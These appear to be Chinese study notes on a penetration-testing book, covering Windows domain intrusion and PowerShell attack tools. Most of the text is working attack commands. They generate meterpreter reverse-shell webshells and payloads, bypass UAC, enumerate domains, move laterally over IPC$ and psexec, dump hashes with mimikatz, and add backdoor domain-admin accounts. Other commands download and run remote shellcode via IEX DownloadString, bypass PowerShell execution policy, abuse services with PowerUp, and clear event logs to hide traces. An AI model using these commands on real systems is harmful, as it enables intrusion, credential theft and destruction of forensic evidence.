msfvenom创建一个webshell :msfvenom -p php/meterpreter/reverse_tcp LHOST 192.168.31.247 -f raw > shuteer.php
-
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows /meterpreter/reverse_tcp
payload => windows /meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.17.131
LHOST => 192.168.17.131
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit
-
打开http://127.0.0.1/shuteer.php
- 反弹成功
aspx meterpreter后门
show payloads
use windows/shell_reverse_tcp
info
set lhost
set lport
save
-
generate -h
-
generate -t aspx
-
上传到目标机c盘
- msf > use exploit/multi/handler
msf exploit(handler) > set payload windows /meterpreter/reverse_tcp
payload => windows /meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.17.131
LHOST => 192.168.17.131
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > run
0x04 内网域渗透
提升权限
提权 ms17010 ms15078
使用bypassuac提权(系统当前用户必须在管理员组,用户账号控制uac设置为默认)
use exploit/windows/local/bypassuac
set session 1
run
信息收集
ipconfig /all 查询本机IP段,所在域等
net user 本机用户列表
net view 查询同一域内机器列表
net view /domain 查询域列表
net view /domain:domainname 查看workgroup域中计算机列表
net group /domain 查询域里面的工作组
net group "domain computers" /domain 查询域内所有的主机名
net group "domain admins" /domain 查询域管理员用户组
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "enterprise admins" /domain 查询企业管理组
net localgroup administrators 本机管理员[通常含有域用户]
net localgroup administrators /domain 登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net user /domain 查询域用户
net time /domain 判断主域,主域服务器都做时间服务器
net config workstation 当前登录域
net session 查看当前会话
net use \ip\ipc$ pawword /user:username 建立IPC会话[空连接•***]
net share 查看SMB指向的路径[即共享
net start 查看当前运行的服务
net accounts 查看本地密码策略
net accounts /domain 查看域密码策略
nbtstat –A ip netbios 查询
netstat –an/ano/anb 网络连接查询
route print 路由表
ipc$入侵实战
net use \127.0.0.21\ipc$ 连接ipc共享
copy 1.exe \127.0.0.21\ipc$ 复制1.exe到目标主机
net time \127.0.0.21 查看服务器上的时间
at \127.0.0.21 10:50 1.exe at
命令来设置定时任务
反弹meterpreter shell
handler监听
sysinfo 查看服务器信息和权限
getuid 查看权限
使用mimikatz或者hashdump抓hash
net use \127.0.0.21 \ipc$ /del 渗透完毕后删掉记录
powershell寻找域管在线服务器
powershell.exe -exec bypass -Command "&{Import-Module .\powerview.ps1;Invoke-UserHunter}"`
获取当域管理员在线登录的服务器,ip
主机名为pav... ip为...
获取域管权限
getsystem 提权
ps 找到与管理所在的进程
migrate 进程pid 把meterpreter shell进程迁移此进程
getuid
net time 查看主域控ip(一般来说时间服务器都是域服务器)
得到域服务器的主机名为PAV Ip为10.51.0.11
使用ipc$ 反弹meterpreter shell
net user mang0 pass /ad /domain 添加用户
net group "domain admins" /domain 给域控添加管理员
登录域控制
具体可以看书
将最好的方式:使用metasploit下的P**ec反弹meterpreter,
注意两点
-
MSF中的P**ec模块
- cuestom模块,建议使用类似Veil生成免杀payload
msf auxiliary(scanner/portscan/tcp) > use exploit/multi/handler
msf exploit(multi/handler) > use exploit/windows/smb/pec
msf exploit(windows/smb/pec) > show options
Module options (exploit/windows/smb/p**ec):
Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
0 Automatic
msf exploit(windows/smb/pec) > set smbuser mang0
smbuser => mang0
msf exploit(windows/smb/pec) > set smbpass pass
msf exploit(windows/smb/pec) > set rhost 10.51.0.11
rhost => 10.51.0.11
msf exploit(windows/smb/pec) > run
meterpreter > migrate 2416
meterpreter > getuid
meterpreter > getpid
meterpreter > sysinfo
抓hash(system权限)
smb爆破内网
有域控密码 ,接下来内网扩大控制权限
-
利用当前获取的域控账号密码,对整个域控ip段扫描
-
利用smb下的sm_login模块
- 端口转发或者socks代理进内网
meterpreter > background
msf exploit(multi/handler) > route add 10.51.0.11 255.255.0.0
msf exploit(multi/handler) > search smb_login
msf exploit(multi/handler) > use auxiliary/scanner/smb/smb_login
msf auxiliary(scanner/smb/smb_login) > set rhosts
msf auxiliary(scanner/smb/smb_login) > set smbuser
msf auxiliary(scanner/smb/smb_login) > set smbpass
msf auxiliary(scanner/smb/smb_login) > set smbdomain
msf auxiliary(scanner/smb/smb_login) > set threads 16
msf auxiliary(scanner/smb/smb_login) > set creds
可以使用meterpreter的端口转发,也可以使用metasploit下的 socks4a模块
meterpreter > portfwd add -l 5555 -p 3389 -r 127.0.0.1
0x05 清理日志
-
删除之前的域管理账号
-
删除所有在渗透过程中使用过的工具
-
删除应用程序、系统和安全日志
- 关闭所有meterpreter
删除账号
net user mang0 /del
logoff
删除日志
meterpreter > clearev
关闭所有msf连接
msf exploit(p**ec) > sessions
msf exploit(p**ec) > sessions -K
第6章 PowerShell攻击指南
学习推荐《windows powershell 实战指南》和三叶草师傅的gitbookhttps://legacy.gitbook.com/book/rootclay/powershell-attack-guide/details
在渗透测试中,PowerShell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有令人难以置信的灵活性和功能化管理Windows系统的能力。PowerShell的众多特点使得它在获得和保持对系统的访问权限时,也成为攻击者首选的攻击手段。本章详细介绍了PowerShell的基本概念和常用命令,以及PowerSploit﹑Empire﹑Nishang等常用PowerShell攻击工具的安装及具体模块的使用,包括生成木马、信息探测、权限提升、横向渗透、凭证窃取、键盘记录、后门持久化等操作。
常用工具
-
powerSplit
-
Nishang
-
Empire
- PowerCat
Powershell基础
powershell的后缀是ps1,哪为什么是ps1而不是ps2,ps3呢?那么理解这个问题呢我们可以看看powershell的特性,powershell是对下完全兼容的,也就是说你使用powershell 5.x的版本来执行powershell v1.0的代码也是完全没有问题的。
执行策略
PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略
如何绕过这些安全策略,下面提供几种方法,网上还有很多的绕过方法,:
名称 |
说明 |
|
Get-ExecutionPolicy |
获取当前的执行策略 |
|
Get-Content .\test.ps1 \ |
powershell.exe -noprofile - |
通过管道输入进ps |
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')" |
通过远程下载脚本来绕过 |
|
$command = "Write-Host 'Hello World!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand |
通过BASE64编码执行 |
|
运行脚本
1.直接执行脚本.\shell.ps1
2.C:\Scripts\shell.ps1
常用命令
powershell -ExecutionPolicy Bypass -File .\xxx.ps1 绕过本地权限执行
powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File .\xxx.ps1 本地隐藏绕过权限执行脚本
Powersploit
AntivirusBypass:发现杀毒软件的查杀特征
CodeExecution:在目标机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性脚本
Persistence:后门脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:目标主机上创建或修改脚本
一.执行shellcode反弹meterpreter shell
1.使用msfvenom生成一个powershell脚本。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.125 LPORT=4444 -f powershell -o /var/www/html/test
2.目标机powershell输入以下命令
IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")`
IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.110.129/test")
Invoke-Shellcode -Shellcode ($buf)
msf反弹成功
其他扩展可以看先知师傅的
https://xz.aliyun.com/t/263
绕过杀软执行 invoke-Mimikatz
https://zhuanlan.zhihu.com/p/24859556
Powerup
通过脆弱的Windows服务提权;或者通过常见的系统服务,通过其继承的系统权限来完成提权等等,在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
加载脚本模块: Import-Module .\PowerUp.ps1
查看模块的详细说明:Get-Help Invoke-AllChecks -full
执行所有的脚本来检查: Invoke-AllChecks
检查当前%PATH%是否存在哪些目录是当前用户可以写入的: Find-PathDLLHijack
从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码: Get-ApplicationHost
检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的: Get-RegistryAlwaysInstallElevated
检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码: Get-RegistryAutoLogon
获取DHCP服务的详细信息: Get-ServiceDetail -ServiceName Dhcp
检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的: Get-ServiceFilePermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象:Test-ServiceDaclPermission
检查服务路径,返回包含空格但是不带引号的服务路径: Get-ServiceUnquoted
检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据:Get-UnattendedInstallFile
c:sysprepsysprep.xml
c:sysprepsysprep.inf
c:sysprep.inf
c:windowsPantherUnattended.xml
c:windowsPantherUnattendUnattended.xml
c:windowsPantherUnattend.xml
c:windowsPantherUnattendUnattend.xml
c:windowsSystem32Sysprepunattend.xml
c:windowsSystem32SysprepPantherunattend.xml
检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径: Get-ModifiableRegistryAutoRun
返回当前用户能够修改的计划任务程序的名称和路径: Get-ModifiableScheduledTaskFile
返回当前服务器上的web.config文件中的数据库连接字符串的明文:Get-Webconfig
用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
恢复服务的可执行文件到原始目录:
Restore-ServiceBinary -ServiceName VulnSVC
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false:Restore-ServiceBinary -ServiceName VulnSVC
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll:Write-HijackDll
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令:
PS C:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PS C:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PS C:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
通过Write-ServiceBinary写一个C#的服务用来添加用户:
PS C:> Install-ServiceBinary -ServiceName DHCP
PS C:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PS C:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PS C:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Empire
篇幅过程细读此两篇文章
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333
这里学到的tips在于:在内网抓取的密码比较多又乱的时候,可以通过命令来正对hash/plaintext进行排列,增加,删除,导出等操作,这里我们将凭证存储导出为,输入creds export 目录/xx.csv命令。
总结
读完此书,学到了很多对于后渗透阶段怎么进行和优化,对于安全,一定不能忘却初心。